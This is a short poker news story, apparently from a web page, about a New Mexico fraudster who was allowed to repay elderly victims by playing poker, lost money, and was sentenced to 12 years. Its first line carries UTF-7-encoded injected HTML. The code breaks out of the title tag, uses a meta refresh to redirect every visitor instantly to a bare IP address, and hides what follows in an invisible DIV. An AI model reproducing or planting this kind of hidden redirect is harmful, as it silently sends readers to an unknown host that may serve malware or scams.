+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

Now it’s time for another installment of the oddball poker story of the week, with our tale this time coming out of New Mexico. When a New Mexico judge ordered Samuel McMaster to repay his victims in a $45,000 Fraud scam by playing poker there were very few people –especially from the poker world—who foresaw this story ending happily.

McMaster somehow convinced the judge he was a professional poker player and could make restitution by playing in poker tournaments. Problem is, McMaster is not a professional poker player –something he admitted to in his second court appearance when he failed to make payments to his some 23 elderly victims—and actually lost money during the few months he was allowed to take part in this strange sentence.

According to thehendonmob.com, McMaster managed just a single cash in his sojourn as a poker pro, a $1,461 payday at the Venetian Deepstack tournament series in 2010, far less than the numerous buy-ins and travel expenses he shelled out.

Well, after the judge realized he had been duped, McMaster was brought before the court this week to hear the news that he would be spending 12 years in prison. According to an MSNBC article on the case: “A lead prosecutor with the state Securities Division says she is not aware of similar cases, and that prosecutors had been aware of his intentions. State officials say that as a result of McMaster, they will probably examine the ways in which restitutions are made.”